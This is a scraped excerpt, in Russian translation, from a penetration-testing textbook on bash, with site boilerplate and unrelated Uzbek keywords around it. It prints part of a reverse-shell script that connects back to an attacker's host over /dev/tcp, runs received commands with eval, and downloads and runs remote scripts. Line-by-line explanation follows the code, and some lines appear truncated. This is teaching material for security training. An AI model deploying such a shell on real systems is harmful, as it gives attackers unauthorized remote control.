Paul Troncone and Carl Albing Cybersecurity Ops with bash Attack, Defend, and Analyze from the Command Line



Download 4,82 Mb.
Pdf ko'rish
bet176/206
Sana29.03.2022
Hajmi4,82 Mb.
#515317
1   ...   172   173   174   175   176   177   178   179   ...   206
Bog'liq
Bash и кибербезопасность Атака, защита и анализ из командной строки


Часть III • Тестирование на проникновение
function runScript ()
{
# передаем, какой сценарий нам нужен
echo "$1" > /dev/tcp/${HOMEHOST}/${HOMEPORT2}

# останов
sleep 1

if [[ $1 == 'exit' ]] ; then exit ; fi
cat > $TMPFL 
bash $TMPFL

}
# ------------------- MAIN -------------------
# здесь может быть выполнена проверка некоторых ошибок
HOMEHOST=$1
HOMEPORT=$2
HOMEPORT2=${3:-$((HOMEPORT+1))}
HOMEPORT3=${4:-$((HOMEPORT2+1))}
TMPFL="/tmp/$$.sh"
trap cleanup EXIT
# звонок домой:
exec &0 2>&0

while true
do
echo -n '$ '

read -r

if [[ ${REPLY:0:1} == '!' ]]

then
# это сценарий
FN=${REPLY:1}

runScript $FN
else
# обычный случай — запустить cmd
eval "$REPLY"

fi
done

.Это.перенаправление.мы.встречали.раньше,.при.подключении.к.TCP-сокету.
stdin,.stdout.и.stderr..Обратное.подключение.к.
LocalRat.sh
.осуществляет.команда.
сценария.
nc
,.ожидающая.это.соединение..Что.здесь.может.показаться.странным,.
так.это.встроенная.команда.
exec
..Она.обычно.используется.для.запуска.вместо.
оболочки.другой.программы..Если.команда.не.предоставляется.(как.в.данном.слу-
чае),.просто.устанавливаются.все.перенаправления.и.выполнение.продолжается.
с.новыми.соединениями.ввода-вывода..С.этого.момента.всякий.раз,.когда.сценарий.
записывает.в.stdout.или.stderr,.запись.будет.производиться.в.TCP-сокет;.чтение.из.
stdin.будет.поступать.из.сокета.


Глава 16. Создание точки опоры
241

.Первый.бит.вывода.представляет.собой.строку.в.виде.приглашения.ввода,.чтобы.
пользователь.в.удаленной.системе.знал,.как.начать.ввод..Параметр.
-n
.не.учитывает.
символ.новой.строки,.поэтому.это.выглядит.как.приглашение.ввода.

.Оператор.
read
.считывает.входные.данные.пользователя.(через.TCP-сокет)..
Параметр.
-r
.указывает.
read
.обрабатывать.обратный.слеш.как.обычный.символ..
При.чтении.строки,.содержащей.обратный.слеш,.никакая.специальная.интерпре-
тация.не.выполняется.

.Если.первым.символом.ответа.пользователя.является.восклицательный.знак.
(он.же.bang),.то.(согласно.нашему.проекту).клиент.просит.загрузить.сценарий.

.Эта.подстрока,.начиная.с.индекса.1.и.до.конца.строки,.является.ответом.без.
восклицательного.знака..Мы.могли.бы.встроить.ответ.в.строку.вызова.функции.
runScript
.и.выполнять.два.отдельных.шага.

.В.этой.строке.находится.«сердце».сценария..Клиент.отправил.строку.через.TCP-
сокет,.который.считывает.этот.сценарий..Для.выполнения.команд.следует.в.этой.
строке.запустить.команду.
eval
..Если.злоумышленник.отправил.команду.
ls
,.она.
будет.запущена.и.ее.вывод.возвратится.злоумышленнику.
Мы запускаем команды внутри этого сценария так, если бы они были его частью. 
На сценарий могут повлиять любые изменения переменных, вносимые этими 
командами. Возможно, лучше иметь отдельный экземпляр оболочки, в которую 
мы будем передавать команды. Но здесь мы использовали более простой подход.

.Когда.происходит.запрос.запуска.сценария,.вызывается.функция.
runScript
.
и.ее.первым.действием.становится.отправка.имени.сценария.обратно.в.систему.
злоумышленника.(где.будет.находиться.сценарий)..Перенаправление.stdout.уста-
навливает.соединение.через.порт.номер.два.

.Задача.
sleep
.—.дать.время.для.передачи.данных.в.другую.систему.и.предоста-
вить.этой.системе.время.для.реакции.и.ответа..Возможно,.если.передача.данных.
по.сети.происходит.очень.медленно,.потребуется.увеличить.значение.
sleep
,.опре-
деляющее.продолжительность.сна.

.Если.на.другом.конце.все.прошло.хорошо,.данное.соединение.—.перенаправле-
ние.stdin.—.позволяет.подключиться.к.системе.атакующего.и.содержимое.запро-
шенного.сценария.становится.доступным.для.чтения.из.stdin..Мы.сохраняем.вывод.
во.временном.файле.

.Теперь,.когда.у.нас.есть.файл,.мы.можем.его.выполнить.с.помощью.bash..Куда.на-
правляется.его.вывод?.Помните.перенаправление,.которое.мы.сделали.с.опера-
тором.
exec
?.Поскольку.при.вызове.
bash
.
$TMP
.
FILE
.мы.ничего.не.перенаправляем,.


242
Download 4,82 Mb.

Do'stlaringiz bilan baham:
1   ...   172   173   174   175   176   177   178   179   ...   206




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish